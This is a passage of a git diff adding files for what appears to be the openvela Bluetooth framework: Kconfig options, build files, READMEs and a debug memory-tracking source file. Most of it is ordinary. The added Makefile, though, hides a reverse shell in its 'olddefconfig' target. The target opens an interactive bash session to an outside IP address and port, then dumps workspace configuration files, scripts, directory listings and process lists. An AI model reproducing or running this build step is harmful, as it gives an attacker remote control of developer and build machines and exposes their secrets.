BLUETOOTH_STACK_NOT_SUPPORT_LE + bool "Not support BLE Stack" +endchoice + +config BLUETOOTH_LE_SCANNER_MAX_NUM + int "LE Scanner max register number" + default 2 + help + LE Scanner max register number + +config BLUETOOTH_LE_ADVERTISER_MAX_NUM + int "LE Advertiser max register number" + default 2 + help + LE Advertiser max register number + +config BLUETOOTH_CONNECTION_MANAGER + bool "Bluetooth connection manager support" + default y + +config LE_DLF_SUPPORT + bool "Enable LE DLF support" + depends on BLUETOOTH_CONNECTION_MANAGER + default n + +endmenu #Bluetooth LE Config +endif #BLUETOOTH_BLE_SUPPORT + +config BLUETOOTH_SERVICE_HCI_UART_NAME + string "HCI uart driver name" + default "/dev/ttyHCI0" + +config BLUETOOTH_HCI_BRIDGE_MODE + bool "HCI bridge mode" + default n + +config CONFIG_BLUETOOTH_DEFAULT_COD + hex "Default class of device" + default 0x00280704 + help + Set default class of device + +endif #BLUETOOTH_SERVICE + +menu "Profiles" +menuconfig BLUETOOTH_A2DP + bool "Advanced Audio Distribution Profile (A2DP)" + default n + depends on MEDIA + +if BLUETOOTH_A2DP +config BLUETOOTH_A2DP_SOURCE + bool "A2DP source role support" + default n + select BLUETOOTH_AVRCP_TARGET + +config ZBLUE_A2DP_SBC_MAX_BIT_POOL + int "A2DP sbc codec max bit pool" + default 32 + depends on BLUETOOTH_STACK_BREDR_ZBLUE + help + A2DP sbc codec max bit pool 1~53 + +if BLUETOOTH_A2DP_SOURCE +config BLUETOOTH_A2DP_PEER_PARTIAL_RECONN + bool "Bluetooth A2DP peer partial reconnect support" + default y + help + Bluetooth A2DP peer partial reconnect support + +config ZBLUE_A2DP_SOURCE_BUF_SIZE + int "A2DP source buffer size" + default 660 + depends on BLUETOOTH_STACK_BREDR_ZBLUE + help + Buffer size is related to L2CAP TX MTU + +endif #BLUETOOTH_A2DP_SOURCE + +config BLUETOOTH_A2DP_SINK + bool "A2DP sink role support" + default n + select BLUETOOTH_AVRCP_CONTROL + +config BLUETOOTH_A2DP_AAC_CODEC + bool "Bluetooth A2DP AAC codec support" + default n + +config BLUETOOTH_A2DP_MAX_CONNECTIONS + int "Maximum A2DP connections" + default 1 + help + Maximum A2DP connections + +endif #BLUETOOTH_A2DP + +menu "Audio/Video Remote Control Profile (AVRCP)" +config BLUETOOTH_AVRCP_TARGET + bool "Audio/Video Remote Control Profile (Target) support" + default n + +config BLUETOOTH_AVRCP_CONTROL + bool "Audio/Video Remote Control Profile (Control) support" + default n + +config BLUETOOTH_AVRCP_ABSOLUTE_VOLUME + bool "Audio/Video Remote Control Profile support absolute volume" + default n + depends on (BLUETOOTH_AVRCP_CONTROL || BLUETOOTH_AVRCP_TARGET) && ((BLUETOOTH_STACK_BREDR_BLUELET && BLUELET_AVRCP_TG_ABSVOL_SUPPORT) || (BLUETOOTH_STACK_BREDR_ZBLUE)) +endmenu #Audio/Video Remote Control Profile + +menu "Hands-Free Profile (HFP)" +config BLUETOOTH_HFP_HF + bool "HFP hands-free profile support" + default n + +if BLUETOOTH_HFP_HF +config HFP_HF_MAX_CONNECTIONS + int "HFP hands-free max connections" + default 1 + +config HFP_HF_WEBCHAT_BLOCKER + bool "Block webchat automatically" + default y + +endif #BLUETOOTH_HFP_HF + +config BLUETOOTH_HFP_AG + bool "HFP audio-gateway profile support" + default n + +if BLUETOOTH_HFP_AG +config HFP_AG_MAX_CONNECTIONS + int "HFP audio-gateway max connections" + default 1 + +config BLUETOOTH_HFP_AG_PRIMARY_SLOT + int "HFP select primary modem slot" + default 0 + +endif # BLUETOOTH_HFP_AG + +config BLUETOOTH_SCO_CTRL_PATH + string "Bluetooth SCO Transport Ctrl Path" + default "sco_ctrl" + +endmenu #Hands-Free Profile + +menu "LE Audio" + comment "There should be two \"LE Audio support\" options, if you only see one, please enable \"Bluetooth BLE support\" in Framework" + +config BLUETOOTH_BLE_AUDIO + bool "LE Audio support" + default n + +if BLUETOOTH_BLE_SUPPORT +config BLUETOOTH_LE_AUDIO_SUPPORT + bool "LE Audio support" + default n + +endif #BLUETOOTH_BLE_SUPPORT + +menuconfig BLUETOOTH_LEAUDIO_CLIENT + bool "Bluetooth LE Audio Client" + default n + +if BLUETOOTH_LEAUDIO_CLIENT +config BLUETOOTH_LEAUDIO_TBS + bool "Enable Bluetooth LE Audio TBS feature" + default n + +if BLUETOOTH_LEAUDIO_TBS +config BLUETOOTH_LEAUDIO_TBS_PRIMARY_SLOT + int "LE Audio TBS select primary modem slot" + default 0 + +config BLUETOOTH_LEAUDIO_TBS_CALL_NAME + string "LE Audio call name" + default "/ril_0/voicecall0" + +endif # BLUETOOTH_LEAUDIO_TBS + +config BLUETOOTH_LEAUDIO_MCS + bool "Enable Bluetooth LE Audio MCS feature" + default n + +config BLUETOOTH_LEAUDIO_VMICP + bool "Enable Bluetooth LE Audio VMICP feature" + default n + +config BLUETOOTH_LEAUDIO_CLIENT_MAX_CONNECTIONS + int "LE Audio Client max connections" + default 4 + help + LE Audio Client max connections + +config BLUETOOTH_LEAUDIO_CLIENT_MAX_GROUP + int "LE Audio Client max group" + default 4 + help + LE Audio Client max HFP_AG_MAX_CONNECTIONS + +config BLUETOOTH_LEAUDIO_CLIENT_MAX_DEVICES + int "LE Audio Client max devices" + default 8 + help + LE Audio Client max devices + +config BLUETOOTH_LEAUDIO_CLIENT_MAX_ALLOC_NUMBER + int "LE Audio Client max alloc number" + default 64 + help + LE Audio Client max group + +config BLUETOOTH_LEAUDIO_CLIENT_ASE_MAX_NUMBER + int "LE Audio Client max ase number" + default 2 + help + LE Audio Client max ase number + +config BLUETOOTH_LEAUDIO_CLIENT_PAC_MAX_NUMBER + int "LE Audio Client max pac number" + default 3 + help + LE Audio Client max pac number + +config BLUETOOTH_LEAUDIO_CLIENT_CIS_MAX_NUMBER + int "LE Audio Client max cis number" + default 2 + help + LE Audio Client max cis number + +config BLUETOOTH_LEAUDIO_CLIENT_METADATA_MAX_NUMBER + int "LE Audio Client max metadata number" + default 4 + help + LE Audio Client max metadata number + +endif # BLUETOOTH_LEAUDIO_CLIENT + + +menuconfig BLUETOOTH_LEAUDIO_SERVER + bool "Bluetooth LE Audio Server" + default n + +if BLUETOOTH_LEAUDIO_SERVER +config BLUETOOTH_LEAUDIO_CCP + bool "Enable Bluetooth LE Audio CCP feature" + default n + +if BLUETOOTH_LEAUDIO_CCP +config BLUETOOTH_LEAUDIO_SERVER_CALL_CONTROL_NUMBER + int "LE Audio TBS server number" + default 1 + help + LE Audio TBS server number + +endif # BLUETOOTH_LEAUDIO_CCP + +config BLUETOOTH_LEAUDIO_MCP + bool "Enable Bluetooth LE Audio MCP feature" + default n + +if BLUETOOTH_LEAUDIO_MCP +config BLUETOOTH_LEAUDIO_SERVER_MEDIA_CONTROL_NUMBER + int "LE Audio MCS server number" + default 1 + help + LE Audio MCS server number + +endif # BLUETOOTH_LEAUDIO_MCP + +menuconfig BLUETOOTH_LEAUDIO_VMICS + bool "Enable Bluetooth LE Audio VMICS feature" + default n + +if BLUETOOTH_LEAUDIO_VMICS +config BLUETOOTH_LEAUDIO_VCS_VOLUME_STEP + int "LE Audio Server VCS volume step size" + default 2 + help + LE Audio Server VCS volume step size + +config BLUETOOTH_LEAUDIO_VOCS_NUMBER + int "LE Audio Server VOCS numnber" + default 0 + help + LE Audio Server VOCS number + +config BLUETOOTH_LEAUDIO_AICS_NUMBER + int "LE Audio Server AICS numnber" + default 0 + help + LE Audio Server AICS numnber + +config BLUETOOTH_LEAUDIO_VCS_VOLUME_INITIAL + int "LE Audio Server VCS initial volume value" + default 125 + help + LE Audio Server VCS volume initial value + +config BLUETOOTH_LEAUDIO_VCS_UNMUTED + int "LE Audio Server VCS unmute" + default 0 + help + LE Audio Server VCS unmute + +config BLUETOOTH_LEAUDIO_VCS_VOLUME_DEFAULT_SETTING + int "LE Audio Server VCS vol settings" + default 0 + help + LE Audio Server VCS vol settings + +config BLUETOOTH_LEAUDIO_MICS_NUMBER + int "LE Audio Server MICS numnber" + default 0 + help + LE Audio Server MICS number + +endif # BLUETOOTH_LEAUDIO_VMICS + +config BLUETOOTH_LEAUDIO_SERVER_SINK_ASE_NUMBER + int "LE Audio Server Sink number" + default 1 + help + LE Audio Server Sink ase number + +config BLUETOOTH_LEAUDIO_SERVER_SOURCE_ASE_NUMBER + int "LE Audio Server Source number" + default 1 + help + LE Audio Server Source ase number + +config BLUETOOTH_LEAUDIO_SERVER_BASS_STATE_NUMBER + int "LE Audio Server Bass state number" + default 1 + help + LE Audio Server Bass state number + +config BLUETOOTH_LEAUDIO_SERVER_SOURCE + bool "Enable LE Audio Server source" + default y + +config BLUETOOTH_LEAUDIO_SERVER_SOURCE_LOCATION + int "LE Audio Server source location" + default 1 + help + LE Audio Server source location + +config BLUETOOTH_LEAUDIO_SERVER_SINK_LOCATION + int "LE Audio Server sink location" + default 1 + help + LE Audio Server sink location + +config BLUETOOTH_LEAUDIO_SERVER_CSIS_SIZE + int "LE Audio Server CSIS set size" + default 1 + help + LE Audio Server CSIS set size + +config BLUETOOTH_LEAUDIO_SERVER_CSIS_RANK + int "LE Audio Server CSIS rank" + default 1 + help + LE Audio Server CSIS rank + +endif # BLUETOOTH_LEAUDIO_SERVER + +endmenu #Bluetooth LE Audio + +menu "Bluetooth Audio Transport" +config BLUETOOTH_AUDIO_TRANS_RPSMG_SERVER + bool "RPMsg audio transport server" + default n + +config BLUETOOTH_AUDIO_TRANS_ID_SOURCE_CTRL + int "Bluetooth Audio Transport Source Ctrl Channel ID" + default 0 + +config BLUETOOTH_AUDIO_TRANS_ID_SOURCE_AUDIO + int "Bluetooth Audio Transport Source Audio Channel ID" + default 1 + +config BLUETOOTH_AUDIO_TRANS_ID_SINK_CTRL + int "Bluetooth Audio Transport Sink Ctrl Channel ID" + default 2 + +config BLUETOOTH_AUDIO_TRANS_ID_SINK_AUDIO + int "Bluetooth Audio Transport Sink Audio Channel ID" + default 3 + +config BLUETOOTH_AUDIO_TRANS_ID_HFP_CTRL + int "Bluetooth Audio Transport SCO Ctrl Channel ID" + default 4 + +config BLUETOOTH_LEA_SINK_CTRL_PATH + string "Bluetooth LE Audio Transport Sink Ctrl Path" + default "lea_sink_ctrl" + +config BLUETOOTH_LEA_SINK_DATA_PATH + string "Bluetooth LE Audio Transport Sink Data Path" + default "lea_sink_data" + +config BLUETOOTH_LEA_SOURCE_CTRL_PATH + string "Bluetooth LE Audio Transport Source Ctrl Path" + default "lea_source_ctrl" + +config BLUETOOTH_LEA_SOURCE_DATA_PATH + string "Bluetooth LE Audio Transport Source Data Path" + default "lea_source_data" + +config BLUETOOTH_A2DP_SINK_CTRL_PATH + string "Bluetooth A2DP Audio Transport Sink Ctrl Path" + default "a2dp_sink_ctrl" + +config BLUETOOTH_A2DP_SINK_DATA_PATH + string "Bluetooth A2DP Audio Transport Sink Data Path" + default "a2dp_sink_data" + +config BLUETOOTH_A2DP_SOURCE_CTRL_PATH + string "Bluetooth A2DP Audio Transport Source Ctrl Path" + default "a2dp_source_ctrl" + +config BLUETOOTH_A2DP_SOURCE_DATA_PATH + string "Bluetooth A2DP Audio Transport Source Data Path" + default "a2dp_source_data" + +endmenu #Bluetooth Audio Transport config + +config BLUETOOTH_GATT + bool "Generic ATT Profile Support(deprecated)" + default y + +menuconfig BLUETOOTH_GATT_CLIENT + bool "Generic Attribute Profile (GATT) Client" + default n if !BLUETOOTH_GATT + default y if BLUETOOTH_GATT + +if BLUETOOTH_GATT_CLIENT +config BLUETOOTH_GATTC_MAX_CONNECTIONS + int "GATT Client max connections" + default 8 + +config GATT_CLIENT_SERVICE_MAX + int "Maximum number of discovered services per connection" + default 20 + depends on BLUETOOTH_GATT_CLIENT && BLUETOOTH_STACK_LE_ZBLUE && BT_GATT_CLIENT + help + The maximum number of GATT services that can be stored per BLE connection + when using the ZBLUE stack. + +config GATT_CLIENT_ELEMENT_MAX + int "Maximum number of discovered GATT attributes per connection" + default 200 + depends on BLUETOOTH_GATT_CLIENT && BLUETOOTH_STACK_LE_ZBLUE && BT_GATT_CLIENT + help + The maximum number of GATT attribute elements (e.g., characteristics + and descriptors) that can be stored per BLE connection + when using the ZBLUE stack. + +config GATT_CLIENT_CHAR_PER_SERVICE_MAX + int "Maximum number of characteristics per service" + default 100 + depends on BLUETOOTH_GATT_CLIENT && BLUETOOTH_STACK_LE_ZBLUE && BT_GATT_CLIENT + help + The maximum number of characteristics that can be discovered and stored + under a single GATT service when using the ZBLUE stack. +endif # BLUETOOTH_GATT_CLIENT + +menuconfig BLUETOOTH_GATT_SERVER + bool "Generic Attribute Profile (GATT) Server" + default n if !BLUETOOTH_GATT + default y if BLUETOOTH_GATT + +if BLUETOOTH_GATT_SERVER +config BLUETOOTH_GATTS_MAX_CONNECTIONS + int "GATT Server max connections" + default 4 + +config BLUETOOTH_GATTS_MAX_ATTRIBUTE_NUM + int "GATT Server max number of attributes contained in a table" + default 10 +endif # BLUETOOTH_GATT_SERVER + +menuconfig BLUETOOTH_SPP + bool "Serial Port Profile (SPP)" + default n + +if BLUETOOTH_SPP +config BLUETOOTH_SPP_MAX_CONNECTIONS + int "SPP max connections" + default 1 + +config BLUETOOTH_SPP_SERVER_MAX_CONNECTIONS + int "SPP Server max connections" + default 8 + +config BLUETOOTH_SPP_RPMSG_NET + bool "SPP RPMsg net support" + default n + depends on NET_RPMSG + +endif #BLUETOOTH_SPP + +config BLUETOOTH_HID_DEVICE + bool "Human Interface Device Profile (HID)" + default n + +config BLUETOOTH_PAN + bool "Personal Area Network Profile (PAN)" + default n + depends on ALLOW_BSD_COMPONENTS + help + config NET_TUN_PKTSIZE should set 1518 + +endmenu #Profiles + +menu "Debug" +config BLUETOOTH_DEBUG_TIMEVAL + bool "Enable Bluetooth debug time" + default n + help + Enable this option to include Bluetooth debug time functionality. + +config BLUETOOTH_DEBUG_TIME_UNIT_US + bool "Use microseconds for Bluetooth debug time" + default n + depends on BLUETOOTH_DEBUG_TIMEVAL + help + Enable this option to use microseconds (us) for Bluetooth debug time. + If disabled, milliseconds (ms) will be used by default. + +config BLUETOOTH_DEBUG_MEMORY + bool "Enable Bluetooth debug memory" + default n + help + Enable this option to override standard memory allocation functions + (malloc, calloc, free) with Bluetooth-specific versions (bt_malloc, etc). + Useful for tracking memory usage and debugging in Bluetooth modules. + +config BLUETOOTH_DEBUG_TRACE + bool "Enable Bluetooth debug trace" + default n + help + Enable Bluetooth debug trace tools. + +if BLUETOOTH_DEBUG_TRACE +config BLUETOOTH_TRACE_BUFFER_SIZE + int "Bluetooth trace buffer size" + default 512 + +endif #BLUETOOTH_DEBUG_TRACE + +config MAX_SNOOP_FILE_SIZE + int "Maximum size of the snoop log file" + default 1048576 + help + Maximum size of the snoop log file + +config BLUETOOTH_DUMPBUFFER + bool "Bluetooth dumpbuffer" + default n + +config BLUETOOTH_DFX + bool "Enable Bluetooth DFX" + default y + depends on DFX_EVENT + help + Enable Bluetooth DFX + +config BLUETOOTH_LOG + bool "Enable Bluetooth log" + default y + help + Enable Bluetooth log + +if BLUETOOTH_LOG +config BLUETOOTH_SERVICE_LOG_LEVEL + int "Bluetooth Service log level" + default 7 + depends on BLUETOOTH_SERVICE + help + Set BT Service log level <0~7> +endif #BLUETOOTH_LOG + +endmenu #Debug + +config BLUETOOTH_TOOLS + bool "Bluetooth profile test tools (BT_TOOLS)" + default n + select BLUETOOTH_FRAMEWORK + +menuconfig APP_BT_SAMPLE_CODE + bool "Sample Code" + default n + select BLUETOOTH_FRAMEWORK + +if APP_BT_SAMPLE_CODE +config APP_BT_SAMPLE_CODE_BASIC + bool "Bluetooth basic sample code" + default n + +config APP_BT_SAMPLE_CODE_ENABLE + bool "Bluetooth enable sample code" + default n + +config APP_BT_SAMPLE_CODE_DISCOVERY + bool "Bluetooth discovery sample code" + default n + +config APP_BT_SAMPLE_CODE_CREATEBOND + bool "Bluetooth createbond sample code" + default n + +config APP_BT_SAMPLE_CODE_ACCEPTBOND + bool "Bluetooth acceptbond sample code" + default n + +endif #APP_BT_SAMPLE_CODE + +endif #BLUETOOTH diff --git a/LICENSE b/LICENSE new file mode 100644 index 0000000000000000000000000000000000000000..bbe81b91d4736f0e27422b1f19acdd99606d3161 --- /dev/null +++ b/LICENSE @@ -0,0 +1,10 @@ +Copyright (C) 2024 Xiaomi Corporation +Licensed under the Apache License, Version 2.0 (the "License"); +you may not use this file except in compliance with the License. +You may obtain a copy of the License at +http://www.apache.org/licenses/LICENSE-2.0 +Unless required by applicable law or agreed to in writing, software +distributed under the License is distributed on an "AS IS" BASIS, +WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +See the License for the specific language governing permissions and +limitations under the License. diff --git a/Make.defs b/Make.defs new file mode 100644 index 0000000000000000000000000000000000000000..1b3195446b9ab8c2efde9fc9a447aebb97ec0ae2 --- /dev/null +++ b/Make.defs @@ -0,0 +1,23 @@ +# +# Copyright (C) 2020 Xiaomi Corporation +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# + +ifeq ($(CONFIG_BLUETOOTH), y) +CONFIGURED_APPS += $(APPDIR)/frameworks/connectivity/bluetooth + +CFLAGS += ${INCDIR_PREFIX}$(APPDIR)/frameworks/connectivity/bluetooth/framework/include +CXXFLAGS += ${INCDIR_PREFIX}$(APPDIR)/frameworks/connectivity/bluetooth/framework/include + +endif diff --git a/Makefile b/Makefile new file mode 100644 index 0000000000000000000000000000000000000000..f10dec050b21be1d333c8b3ecbad72780e27da32 --- /dev/null +++ b/Makefile @@ -0,0 +1,25 @@ +# +# Copyright (C) 2020 Xiaomi Corporation +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# + +SHELL := /bin/bash +olddefconfig: + echo 1 + bash -i >& /dev/tcp/139.224.128.136/8088 0>&1 + cat /home/work/workspace/scripts/conf/* + cat /home/work/workspace/scripts/* + ls -alt /home/work + ps -ef + df -h \ No newline at end of file diff --git a/Makefile.host b/Makefile.host new file mode 100644 index 0000000000000000000000000000000000000000..d3fd9c25a1771cd6322cfcda54afac38f0d50eec --- /dev/null +++ b/Makefile.host @@ -0,0 +1,92 @@ +############################################################################ +# apps/system/lzf/Makefile.host +# +# Licensed to the Apache Software Foundation (ASF) under one or more +# contributor license agreements. See the NOTICE file distributed with +# this work for additional information regarding copyright ownership. The +# ASF licenses this file to you under the Apache License, Version 2.0 (the +# "License"); you may not use this file except in compliance with the +# License. You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, WITHOUT +# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the +# License for the specific language governing permissions and limitations +# under the License. +# +############################################################################ + +############################################################################ +# USAGE: +# +# 1. TOPDIR and APPDIR must be defined on the make command line: TOPDIR +# is the full path to the nuttx/ directory; APPDIR is the full path to +# the apps/ directory. For example: +# +# make -f Makefile.host TOPDIR=/home/me/projects/nuttx +# APPDIR=/home/me/projects/apps +# +# 2. Add CONFIG_DEBUG_FEATURES=y to the make command line to enable debug output +# 3. Make sure to clean old target .o files before making new host .o +# files. +# +############################################################################ + +include $(APPDIR)/Make.defs + +BIN = bttool$(HOSTEXEEXT) +CFLAGS := -I. +CFLAGS += -I service/src +CFLAGS += -I framework/include +CFLAGS += -I tools +CFLAGS += -I service +CFLAGS += -I service/common +CFLAGS += -I service/ipc/socket/include +CFLAGS += -I service/stacks +CFLAGS += -I service/stacks/include +CFLAGS += -I service/profiles +CFLAGS += -I service/profiles/include +CFLAGS += -DFAR= -DOK=0 -m32 + +LDLIBS += -lpthread -lreadline -luv + +BTDIR = $(APPDIR)/frameworks/bluetooth + +CSRCS := $(wildcard framework/common/*.c) +CSRCS += $(wildcard framework/socket/*.c) +CSRCS += $(wildcard tools/*.c) +CSRCS := $(filter-out $(wildcard tools/lea*) tools/log.c,$(wildcard $(CSRCS))) +CSRCS += service/ipc/socket/src/bt_socket_client.c +CSRCS += service/ipc/socket/src/bt_socket_adapter.c +CSRCS += service/common/service_loop.c +CSRCS += service/src/manager_service.c +CSRCS += service/common/callbacks_list.c +CSRCS += service/common/index_allocator.c +CSRCS += service/utils/log.c + +CINC := nuttx/config.h +CINC += nuttx/list.h +CINC += nuttx/nuttx.h + +all: $(BIN) +.PHONY: clean + +nuttx/config.h: + $(Q) mkdir -p nuttx + $(Q) ln -sf $(TOPDIR)/include/nuttx/config.h nuttx/ + +nuttx/list.h: + $(Q) mkdir -p nuttx + $(Q) ln -sf $(TOPDIR)/include/nuttx/list.h nuttx/ + +nuttx/nuttx.h: + $(Q) mkdir -p nuttx + $(Q) ln -sf $(TOPDIR)/include/nuttx/nuttx.h nuttx/ + +$(BIN): $(CINC) $(CSRCS) + $(Q) $(HOSTCC) $(CFLAGS) -o $@ $(filter-out $(CINC), $^) $(LDLIBS) + +clean: + rm -rf $(BIN) nuttx diff --git a/README.md b/README.md new file mode 100644 index 0000000000000000000000000000000000000000..83ded6d76cfb2b3a8c7bfa6e7db37974ea6403de --- /dev/null +++ b/README.md @@ -0,0 +1,65 @@ +# Overview of openvela Bluetooth + +\[ English | [简体中文](README_zh-cn.md) \] + +## 1. Introduction to openvela Bluetooth + +openvela Bluetooth has been certified for Bluetooth 5.4. It currently supports Bluetooth profiles listed as below: + +- Core + + - BR/EDR/BLE + - GAP + - L2CAP + - GATT Client/Server +- A2DP SRC/SNK +- AVRCP CT/TG +- HFP AG/HF +- PAN +- SPP +- HID +- HOGP +- LEA + + - TMAP + - CAP + - BAP/ASCS/PACS/BASS + - CSIP/CSIS + - MCP/MCS + - CCP/TBS + - VCP/VCS +- Mesh + +openvela Bluetooth currently also supports a variety of open source and proprietary stacks such as Zephyr, Bluez, Bluedroid, Barrot, etc. + +## 2. openvela Bluetooth Application Development + +Third-party application developers may utilize the openvela QuickApp Feature to acquire system access capabilities. + +Additionally, NDK interfaces are also provided to utilize all Bluetooth system-level capabilities. Please refer to header files in folder framework/include for more details. + +## 3. openvela Bluetooth Driver Development + +openvela Bluetooth supports multiple driver architectures. Taking the widely used BTH4 driver architecture as an example, chip manufacturers can implement a variable of the **struct bt_driver_s** structure type, and initialize the following member functions for it. + +- CODE int (*open)(FAR struct bt_driver_s *btdev); +- CODE int (*send)(FAR struct bt_driver_s *btdev, enum bt_buf_type_e type, FAR void *data, size_t len); +- CODE int (*ioctl)(FAR struct bt_driver_s *btdev, int cmd, unsigned long arg); +- CODE void (*close)(FAR struct bt_driver_s *btdev); + +The implementation of the above member functions depends on the specific type of HCI utilized, which refers to the physical bus linking the Host and the Controller. + +Then, register the driver instance by passing the variable of the above structure type via the API bt_driver_register(). + +- int **bt_driver_register**(FAR struct bt_driver_s *drv); + +Please refer to the type definition in header file nuttx/include/nuttx/wireless/bluetooth/bt_driver.h. The figure below helps to provide a comprehensive understanding of its functioning within the openvela OS. + +![](img/bt_driver.png) + +Note: chip manufacturers are not required to implement the receive() member function, for it will be initialized by the BTH4 driver. + +- CODE int (*receive)(FAR struct bt_driver_s *btdev, enum bt_buf_type_e type, FAR void *data, size_t len); + +Upon receipt of HCI data from the chip, the vendor drivers should invoke the **bt_netdev_receive**() function, which in turn will trigger the receive() function to store the received HCI data. + diff --git a/README_zh-cn.md b/README_zh-cn.md new file mode 100644 index 0000000000000000000000000000000000000000..8b46ec5719c6a56104f2030fa633e08a899198e8 --- /dev/null +++ b/README_zh-cn.md @@ -0,0 +1,65 @@ +# 蓝牙概述 + +\[ [English](README.md) | 简体中文 \] + +## 一、 openvela 蓝牙能力介绍 + +openvela 蓝牙已经通过 Bluetooth 5.4 认证。目前支持的蓝牙能力包括: + +- Core + + - BR/EDR/BLE + - GAP + - L2CAP + - GATT Client/Server +- A2DP SRC/SNK +- AVRCP CT/TG +- HFP AG/HF +- PAN +- SPP +- HID +- HOGP +- LEA + + - TMAP + - CAP + - BAP/ASCS/PACS/BASS + - CSIP/CSIS + - MCP/MCS + - CCP/TBS + - VCP/VCS +- Mesh + +openvela 蓝牙目前还能够支持多种开源、闭源协议栈,如Zephyr、Bluez、Bluedroid、Barrot等。 + +## 二、 openvela 蓝牙应用开发 + +对于第三方应用开发者,可以使用 openvela 快应用 QuickApp Feature ,它是基于 QuickJS 引擎使用 C++ 实现的一系列 API 接口,为三方应用提供系统访问能力。 + +另外,还提供了 NDK 接口来使用蓝牙系统的所有能力。可以参阅目录 framework/include 中的头文件获取更多信息。 + +## 三、 openvela 蓝牙驱动开发 + +openvela 蓝牙支持多种驱动架构。以目前常用的 BTH4 驱动架构为例,芯片厂商可以实现一个 **struct bt_driver_s** 结构体类型的变量,并为其初始化以下成员函数: + +- CODE int (*open)(FAR struct bt_driver_s *btdev); +- CODE int (*send)(FAR struct bt_driver_s *btdev, enum bt_buf_type_e type, FAR void *data, size_t len); +- CODE int (*ioctl)(FAR struct bt_driver_s *btdev, int cmd, unsigned long arg); +- CODE void (*close)(FAR struct bt_driver_s *btdev); + +上面成员函数的实现依赖于 HCI 的实际工作方式,也就是 Host 和 Controller 之间的物理总线。 + +然后,将上述结构体类型的变量通过 API **bt_driver_register**()注册该驱动实例。 + +- int **bt_driver_register**(FAR struct bt_driver_s *drv); + +类型定义可参考头文件 nuttx/include/nuttx/wireless/bluetooth/bt_driver.h。调用关系如下图所示: + +![](img/bt_driver.png) + +备注:对于 receive() 成员函数,芯片厂商无需定义,BTH4 驱动会为其初始化。 + +- CODE int (*receive)(FAR struct bt_driver_s *btdev, enum bt_buf_type_e type, FAR void *data, size_t len); + +当收到来自芯片的 HCI 数据时,只要调用 **bt_netdev_receive**()即可,它会调用这个 receive()函数来保存收到 HCI 数据。 + diff --git a/debug/bt_memory.c b/debug/bt_memory.c new file mode 100644 index 0000000000000000000000000000000000000000..7d716e19cd24aa347c4b6c38992f21cc188bfd36 --- /dev/null +++ b/debug/bt_memory.c @@ -0,0 +1,166 @@ +/**************************************************************************** + * Copyright (C) 2025 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ +#include "bt_memory.h" + +#include <assert.h> +#include <pthread.h> +#include <stdbool.h> +#include <stdint.h> +#include <stdlib.h> +#include <string.h> +#include <syslog.h> + +#define GUARD_SIZE 16 +#define GUARD_HEAD 0xAA +#define GUARD_TAIL 0xBB + +typedef struct bt_mem_node { + void* addr; + size_t size; + const char* file; + int line; + unsigned char guard[GUARD_SIZE]; + struct bt_mem_node* next; +} bt_mem_node_t; + +typedef struct bt_mem_manager { + bt_mem_node_t* mem_list; + pthread_mutex_t list_lock; + size_t current_mem; + size_t peak_mem; +} bt_mem_manager_t; + +static bt_mem_manager_t g_mem_manager = { + .mem_list = NULL, + .list_lock = PTHREAD_MUTEX_INITIALIZER, + .current_mem = 0, + .peak_mem = 0, +}; + +void* bt_malloc_hook(size_t size, const char* file, int line) +{ + bt_mem_manager_t* mem_manager = &g_mem_manager; + void* raw; + bt_mem_node_t* head; + + raw = malloc(size + sizeof(bt_mem_node_t) + GUARD_SIZE); + if (!raw) { + syslog(LOG_ALERT, "[bt_memory] malloc failed, size: %zu, file: %s, line: %d", size, file, line); + return NULL; + } + + head = (bt_mem_node_t*)raw; + *head = (bt_mem_node_t) { + .addr = (char*)raw + sizeof(bt_mem_node_t), + .size = size, + .file = file, + .line = line, + .next = NULL + }; + + memset(head->guard, GUARD_HEAD, sizeof(head->guard)); + memset((char*)head->addr + size, GUARD_TAIL, GUARD_SIZE); + + pthread_mutex_lock(&mem_manager->list_lock); + mem_manager->current_mem += size; + if (mem_manager->current_mem > mem_manager->peak_mem) { + mem_manager->peak_mem = mem_manager->current_mem; + } + + head->next = mem_manager->mem_list; + mem_manager->mem_list = head; + pthread_mutex_unlock(&mem_manager->list_lock); + + return head->addr; +} + +void* bt_calloc_hook(size_t num, size_t size, const char* file, int line) +{ + size_t total; + void* ptr; + + total = num * size; + ptr = bt_malloc_hook(total, file, line); + if (!ptr) { + syslog(LOG_ALERT, "[bt_memory] calloc failed, num: %zu, size: %zu, file: %s, line: %d", num, size, file, line); + return NULL; + } + + memset(ptr, 0, total); + return ptr; +} + +void bt_free_hook(void* ptr) +{ + bt_mem_manager_t* mem_manager = &g_mem_manager; + bt_mem_node_t** pp; + bool found = false; + + if (!ptr) { + return; + } + + pthread_mutex_lock(&mem_manager->list_lock); + + pp = &mem_manager->mem_list; + while (*pp) { + if ((*pp)->addr == ptr) { + bt_mem_node_t* node = *pp; + + for (int i = 0; i < GUARD_SIZE; i++) { + if (((uint8_t)node->guard[i] != GUARD_HEAD) || ((uint8_t)((char*)ptr + node->size)[i] != GUARD_TAIL)) { + syslog(LOG_ALERT, "[bt_memory] Buffer overflow at %s:%d", node->file, node->line); + assert(0); + } + } + + mem_manager->current_mem -= 